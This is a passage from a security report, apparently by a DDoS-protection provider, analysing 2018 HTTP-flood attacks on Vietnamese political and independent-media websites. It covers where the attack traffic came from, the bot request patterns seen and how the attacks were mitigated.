If we look at the Autonomous System of each IP, we see that 97.7% of them are coming from the AS 4134 which belongs to the state-owned company China Telecom for Internet access in China :

• 4885 ASN4134 CHINANET-BACKBONE No.31,Jin-rong Street, CN
• 42 ASN62468 VPSQUAN – VpsQuan L.L.C., US
• 40 ASN55933 CLOUDIE-AS-AP Cloudie Limited, HK
• 20 ASN53755 IOFLOOD – Input Output Flood LLC, US
• 5 ASN38197 SUNHK-DATA-AS-AP Sun Network (Hong Kong) Limited – HongKong Backbone, HK
• 3 ASN45102 CNNIC-ALIBABA-CN-NET-AP Alibaba (China) Technology Co., Ltd., CN
• 2 ASN9902 NEOCOMISP-KH-AP NEOCOMISP LIMITED, IPTX Transit and Network Service Provider in Cambodia., KH
• 1 ASN9873 TELECOM-LA-AS-AP Lao Telecom Communication, LTC, LA
• 1 ASN132839 POWERLINE-AS-AP POWER LINE (HK) CO., LIMITED, HK
• 1 ASN58879 ANCHNET Shanghai Anchang Network Security Technology Co.,Ltd., CN

We fingerprinted the systems using the Shodan-based tool described in 2.1, and identified 901 systems as routers (884 of them being Mikrotik routers), and 512 systems as servers (mostly Windows servers and Ubuntu servers)

Figure 11: Distribution of system’s types identified for Group B

It is interesting to see Mikrotik routers here as many people observed botnets compromising MikroTik routers back in March this year exploiting some known vulnerabilities. But still, having 884 MikroTik routers only represent 17.6% of the total number of IPs involved in this attack. Our main hypothesis is that this botnet is mostly comprised of compromised end-systems (Windows or Android likely). It is also possible that we have here a botnet using a mix of compromised end-systems and compromised MikroTik routers.

The most surprising specificity of this botnet is that it is coming almost only from one Autonomous System, AS4134, which is not common in DDoS attacks (most of the times targets are distributed over different countries). A third hypothesis is that this traffic could come from traffic injection by the Internet Service Provider in order to cause clients to do requests to this website. Such attack was already identified once by Citizen Lab in 2015 in their China’s Great Cannon report against github.com and GreatFire.org. We consider this third hypothesis unlikely as this 2015 attack is the only documented case of such an attack, and it would require a collaboration between Vietnamese groups likely at the origin of these attacks and this Chinee state-owned Internet provider, for a costly attack with little to no impact on the targeted website.

Group C

The third group consists of two attacks targeting baotiengdan.com on the 10th and the 15th of June, using a specially crafted tool. We identified it first on the 10th of June 2018 when a peak of traffic created issues on the website. We quickly identified that there was an important number of requests done from different IPs all with the same user agent python-requests/2.9.1

Figure 12: DDoS traffic on baotiengdan.com on the 10th of June

Over 5 million requests were done that day by 349 IP addresses. In order to bypass the caching done by Deflect, the bots were configured to query the search page, half of them with the same query /?&s=nguyenphutrong, which is a research for the name of Nguyen Phú Trọng , the actual General Secretary of the Communist Party of Vietnam. The other half of bots were doing random search queries like ?s=046GYH or ?s=04B9BV.

These 349 IPs were distributed in different countries (top 10 only mentioned here):

• 56 United States
• 43 Germany
• 35 Netherlands
• 30 France
• 17 Romania
• 16 Canada
• 12 Switzerland
• 11 China
• 10 Russia
• 9 Bangladesh
  

  Figure 13: World distribution of IPs for Group C

Looking more closely at the hosts, we identified that 180 of them are actually Tor Exit Nodes (the list of tor exit nodes is public). We used the same fingerprint technique based on Shodan to identify the other hosts and found that 89 of them are routers (mostly MikroTik routers) and 51 servers :

Figure 14: types of systems identified for Group C IPs

This mix of routers and servers is confirmed by ipinfo.io AS Classification on these non-Tor IPs:

• 68 ISP
• 52 Hosting
• 42 Business
• 7 Unknown

So this attack used two different types of relays at the same time: the Tor network and compromised systems, routers or servers.

The second attack by this group was surprisingly different, we identified a peak of traffic on the 15th of June on baotiengdan.com again, coming from a single IP 66.70.255.195 which did 560 030 requests over a day:

Figure 15: Traffic from 66.70.255.195 on baotiengdan.com on the 15th of June

This traffic was definitely coming from the same attack group as it was using the same user agent (python-requests/2.9.1) and requesting the same page /?s=nguyenphutrong.

The IP 66.70.255.195 is an open HTTP proxy located in the OVH network in Montreal, and listed in different proxy databases (like proxydb or proxyservers). It is surprising to see an HTTP proxy used here considering the heavy attack done 5 days before by the same group. Using an open HTTP proxy definitely brings anonymity to the attack but it also limits the bandwidth for the attack to the proxy bandwidth (in that case 5000 requests per minutes at its maximum). Our hypothesis is that a group of people with different skills and resources are sharing the same tool to target baotiengdan.com. It is also possible that one person or one group is trying different attacks to see what is the most effective.

Group D

The fourth group only consists of one attack coming from an IP address in Vietnam on the 12th of June 2018, when we saw a peak of requests from the IP 113.189.169.XXX on the website viettan.org :

Figure 16: Traffic from 113.189.169.XXX on viettan.org on the 12th of June 2018

This attack had the following characteristics :

• Query / with a random query (like ?%7F) in order to avoid Deflect caching
• Using a random user agent from a list of 329 user agents values.

These are pretty clear characteristics that we have not seen in other attacks before. This IP address belongs to the AS 45899 managed by the state-owned Vietnam Posts and Telecommunications Group company. It seems to be a standard domestic or business Internet access in Haiphong, Vietnam. Considering the low level of the attack, it is completely possible that it came from an individual from their personal or professional Internet access.

Links with other attacks

On the 10th of July, Qurium published a report about DDoS attacks against two vietnamese websites : luatkhoa.org and thevietnamese.org on the 11th of June 2018. Luật Khoa tạp chí is an online media covering legal topics and human rights in Vietnamese. The Vietnamese is an independent online magazine in Vietnam aiming at raising public awareness on the human rights situation and politics in Vietnam among the international community.

Qurium was able to confirm with us lists of IPs responsible for most traffic during this DDoS attack and we found that 4 of these IPs were also used in the incidents 1, 5, 6 and 7, all parts of the Group A.

Comparing the list of User-agents listed in the article with the list of user-agents used by incidents from Group A, we see that between 22 and 42 percents are similar :

As described before, it is hard to attribute these attacks to the same group, but they definitely share some similar TTPs. Seeing DDoS attacks with similar TTPs used during the same period of time to target 4 different political groups or independent media’s websites definitely confirms the coordinated nature of these attacks, and their particular interest in attacking Vietnamese media and civil society groups.

Mitigation

Our mitigation system uses the Banjax tool, an Apache Traffic Server plugin we wrote to identify and ban bots based on traffic patterns. For instance, we ban IP addresses making too many queries to /. This approach is efficient in most cases, but not when the DDoS is coming from multiple hosts staying under the Banjax’s thresholds. In these different incidents, half of them were mitigated automatically by our Banjax rules. For the other incidents, we had to manually add new rules to Banjax or enable the Banjax javascript challenge which requires browsers to compute mathematical operations before being allowed to access the website (hence blocking all automated tools that are not implementing javascript).

Overall, these attacks created limited downtime on the targeted websites, and when it happened, we worked in collaboration with Viettan and Tieng Dan to mitigate them as soon as possible.

Conclusion

In this report, we presented attacks that targeted Việt Tân and Tiếng Dân’s websites since mid-April this year. It shows that Distributed Denial of Service attacks are still a threat to civil society in Vietnam and that DDoS is still used to silence political groups and independent media online

On a technical level, HTTP flood is still commonly used for DDoS and is still quite effective for websites without filtering solutions. Investigating the origin of these attack is an ongoing mission for us and we are constantly looking for new ways to understand and classify them better.

One objective of publishing these reporting is to foster collaborations around analyzing DDoS attacks against civil society. If you have seen similar attacks or if you are working to protect civil society organizations against them, please get in touch with us at outreach AT equalit.ie

Acknowledgements

We would like to thank Việt Tân and Tiếng Dân for their help and collaboration during this investigation. Thanks to ipinfo.io for their support.

Appendix

Indicators Of Compromise

It is common to publicly share Indicators of Compromise (IOCs) in attack reports. Sharing IOCs related to DDoS attacks is more challenging as these attacks are often done through relays (whether proxies or compromised systems), so sharing lists of IP addresses can have side-effects over victims we cannot control. We have thus decided not to share IOCs publicly but we are open to share them privately with organizations or individuals who could be targeted by the same groups. Please contact us at outreach AT equalit.ie.

Fingerprinting systems based on Shodan data

As described earlier in this report, we have developed a script to fingerprint systems based on Shodan data. This script is published on github and released under MIT license. Feel free to open issues or submit Pull Requests.